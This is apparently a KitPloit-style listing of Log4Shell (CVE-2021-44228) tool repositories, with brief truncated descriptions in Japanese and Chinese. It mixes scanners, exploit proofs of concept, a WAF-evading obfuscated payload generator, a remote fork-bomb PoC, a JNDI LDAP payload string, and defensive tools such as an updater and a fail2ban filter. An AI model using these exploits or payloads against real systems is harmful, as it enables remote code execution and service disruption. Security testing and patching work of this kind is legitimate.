log4j-filescan

root@kitploit: ████████████████▀███████████████████████████████████████████████████████████████████ █▄─▄███─▄▄─█─▄▄▄▄█░█░████▄─▄█▀▀▀▀▀██▄─▄▄─█▄─▄█▄─▄███▄─▄▄─█─▄▄▄▄█─▄▄▄─██▀▄─██▄─▀█▄─▄█ ██─██▀█─██─█─██▄─█▄▄░██─▄█─██████████─▄████─███─██▀██─▄█▀█▄▄▄▄─█─███▀██─▀─███─█▄▀─██...

log4j2burpscanner

log4j2burpscanner CVE-2021-44228、log4j2 Burpプラグイン Java版。dnslogはdnslog.cn以外のドメインを選択しています。 効果は以下の通りです： ラボ環境の （ラボ環境は遅いですが、インターネット資産では問題ありません。原因はおそらく、ラボ環境が他のリクエストヘッダーの処理が苦手、またはリクエストヘッダーが大きすぎて反応が遅いためです。少し待てば大丈夫です） SRCのサイトを2つ試しました。...

XSYS-Log4J2Shell-Ex

XSYS-Log4J2Shell-Ex CVE-2021-44228 log4j2shell 脆弱性パッチのためのセキュリティ調査の一環としてのPoC 概要 root@kitploit: このリポジトリでは、Log4J 2.17.0 の脆弱性に関する概念実証（PROOF OF CONCEPT）を提供するため、 いくつかのトピックと実装について説明します。 主な目的は、CVE-2021-44228 のパッチを提供し、 ヘッダーおよび/またはボディペイロードを介した JNDI RCE バイパスを確実にすることです。 したがって、 この PoC のために 2 種類のアプリケーションを提供します...

Log4j-Updater

Log4j Updater 有名なJavaフレームワークであるLog4jを更新する必要性は避けられず、多くの企業が複数のコンピュータで同時にLog4jを更新する必要に迫られており、これには時間とコストがかかります。そこで登場するのがLog4j Updater です。 log4jupdater.shは、システムで使用されるパッケージマネージャを自動的に検出し、log4jリポジトリがある場合はそれを更新して可能な限り最新バージョンをインストールし、複数のマシンでの更新プロセスを一度に自動化する ことを目的としたシンプルなbashスクリプトです。 互換性...

CVE-2021-44228

Log4Shell POC CVE-2021-44228 このリポジトリの目的は、CVE-2021-44228（通称 Log4Shell）を悪用するために必要なすべてのコンポーネントを提供し、 その悪用方法を示すことです。 この脆弱性を悪用するために必要な要素は次のとおりです。 1. 脆弱なアプリケーションをエクスプロイトへリダイレクトする LDAPサーバー 。 2. 脆弱なバージョンの Log4J を使用する 脆弱なアプリケーション CVE-2021-44228 に対して脆弱な Spring Boot Web アプリケーション。 3. 脆弱なアプリケーションによってロードされる Jav...

log4j-log4shell-affected

log4j-log4shell-affected CVE-2021-44228（通称 Log4shell または Log4j RCE）に関連する影響を受けたコンポーネントおよび影響を受けるアプリ・ベンダーのリスト（セキュリティ対応者向け）。 私たちは、ベンダーと製品を次のように分類することが重要だと考えています。 1. 内部リスク – 内部のリスクを除去するために最初にパッチを適用すべきもの 2. 外部リスク – データを預けているサードパーティやフォースパーティのベンダーで、侵害されている可能性があり、パッチ適用後に監視し対処する必要があるもの 以下がリストです: 外部リスク –...

log4j

log4j log4j RCE CVE-2021-44228を検出するための自動化されたヘッダー拡張スキャナー 使用方法 root@kitploit: $ python3 log4j.py -l urls.txt --dns-log REPLACETHIS.dnslog.cn...

Log4Shell-obfuscated-payloads-generator

Log4Shell-obfuscated-payloads-generator Log4Shell-obfuscated-payloads-generator は、WAF 検出を回避するために、一次難読化または二次難読化された CVE-2021-44228 または CVE-2021-45046 ペイロードを生成できます。 Log4Shell-obfuscated-payloads-generator の設計思想 インストール root@kitploit: git clone...

log4j-vulnerability

LOG4J 脆弱性 CVE-2021-44228 の脆弱性を悪用する方法を示す Java ベースのプロジェクトです。 https://user-images.githubusercontent.com/13152452/147803050-458593e9-4b54-4e1f-ba07-802866b9b43e.mp4 必要条件 Linux ベースのオペレーティングシステム: 私は Ubuntu Desktop 20.10 64 bits を使用しました。 OpenJDK 17.0.1: 悪用プログラムをビルドするために必要です。新しいバージョンでも動作する可能性があります。 Oracl...

fail2ban-log4j

fail2ban-log4j fail2banのフィルターで、log4j CVE-2021-44228に対する攻撃を検知します。 インストール このファイルをfail2banのfilter.dディレクトリにコピーしてください。通常は以下のような場所にあります。 /etc/fail2ban/filter.d または類似の場所です。 jail.localまたはjail.confにapache-jndiセクションを追加してください： root@kitploit: apache-jndi enabled = true filter = apache-jndi port = http,https...

CVE-2021-44228

CVE-2021-44228 CVE-2021-44228 大规模识别工具 需要修复 Crypto 库以使其在 Python3.9 下工作 sudo vim /usr/local/lib/python3.9/dist-packages/Crypto/Random/UserFriendlyRNG.py 将第 77 行： t = time.clock 替换为： t = time.perfcounter 使用方法 : sudo python3 192.168.0.0/8 mylog.txt...

Log4j-RCE

Log4j-RCE Log4j RCE - CVE-2021-44228 実行方法？ root@kitploit: php log4j.php https://1337.com 必要条件 PHP CURL PAYLOAD DNS LOG Burpsuite Collaborator または dnslog.cn を使用 ペイロード一覧 root@kitploit: $ctx:loginId $map:type $filename $date:MM-dd-yyyy $docker:containerId $docker:containerName $docker:imageName...

Log4j-CVE-2021-44228

Log4j-CVE-2021-44228 Log4j リモートコードインジェクション Apache Log4j 2.x 2.15.0-rc2...

Log4j-JNDIServer

Log4j-JNDIServer このプロジェクトは、Log4jの脆弱性CVE-2021-44228およびCVE-2021-45046をテストするのに役立ちます。 インストールとビルド IntelliJ IDEAでプロジェクトを読み込む 「プロジェクト設定」でJDKを選択 Ctrl + Alt + Shift + S 「プロジェクト設定」でアーティファクトを作成 - 「アーティファクト」 - 「モジュールからJARを作成」 - 「ライブラリからのJARファイル」で「ターゲットJARに抽出」を選択 - 「OK」 プロジェクトをビルド Ctrl +...

how-to-check-patch-secure-log4j-CVE-2021-44228

log4j-CVE-2021-44228 の確認方法 log4j とは？ LOG4J は、ロギングサービスに使用されるオープンソースの Java ベースの Apache ソフトウェアです。 log4j の脆弱性 CVE-2021-44228 とは？ Log4j の脆弱性により、テキストボックスに特定の文字列を入力するだけでリモートコード実行が可能になり、Log4j ライブラリを使用するすべてのプログラムに影響します。 攻撃対象 / 関連ソフトウェア...

Log4JHunt

Log4JHunt Log4Shell CVE-2021-44228 脆弱性のための自動化された信頼性の高いスキャナです。 ビデオデモ: 使い方 ヘルプの使い方は次のとおりです: root@kitploit: $ python3 log4jhunt.py +--------------+ Log4JHunt +--------------+ + Log4jHunt by RedHunt Labs - A Modern Attack Surface ASM Management Company + Author: Pinaki Mondal RHL Research Team +...

log4j-shell-csw

Log4j シンプルなエクスプロイト CVE-2021-44228 脆弱性に対する概念実証エクスプロイト。 Log4j はセキュリティおよびパフォーマンス情報のログ記録に使用され、Java を使用する様々なコンシューマーおよびエンタープライズサービス、ウェブサイト、アプリケーション、さらには医療機器やサポートシステムにわたる30億以上のデバイスに影響を与えます。 注記: これは「ポイントアンドクリック」のエクスプロイトではありません。初期トリガーペイロードは生成されますが、それを適切な場所（HTTP ヘッダー/チャット/等）に注入するのはユーザーの責任です。 前提条件 python3 p...

log4j-exploit-fork-bomb

log4j-exploit-with-fork-bomb 💣💥💀 Proof of Concept: CVE-2021-44228 の脆弱性を利用してリモートサーバー上でフォーク爆弾を実行する例 1. 攻撃者の LDAP サーバー server モジュール を作成します。このサーバーは文字列とコードの表現 payload モジュール を提供します。 2. 被害者のサンプル victim モジュール を作成し、Log4j に文字列を渡します。 JRE バージョン = 6u211, 7u201, 8u191 および 11.0.1 root@kitploit:...

CVE-2021-44228-Apache-Log4j-Rce

CVE-2021-44228Apache Log4j 远程代码执行） 所有 log4j-core 版本 =2.0-beta9 且 不要依赖当前的 Java 版本来拯救你。更新 Log4（或移除 JNDI 查找）。禁用扩展（这无论如何看起来都是个糟糕的主意）。 绕过 rc1 例如： root@kitploit: $jndi:ldap://127.0.0.1:1389/ badClassName...

CVE-2021-44228-white-box

ジャーナル記事: https://www.researchgate.net/publication/373214720PengujianKerentananpadaCVE-2021-44228terhadapAncamanRemoteAccessTrojan 論文: https://1drv.ms/b/s!Al-8jtgY0iBXmz79DKEROaZT5n8a?e=1E6Pkm Log4Shell // 名. Log4j脆弱性環境ボックス このリポジトリは、CVE-2021-44228...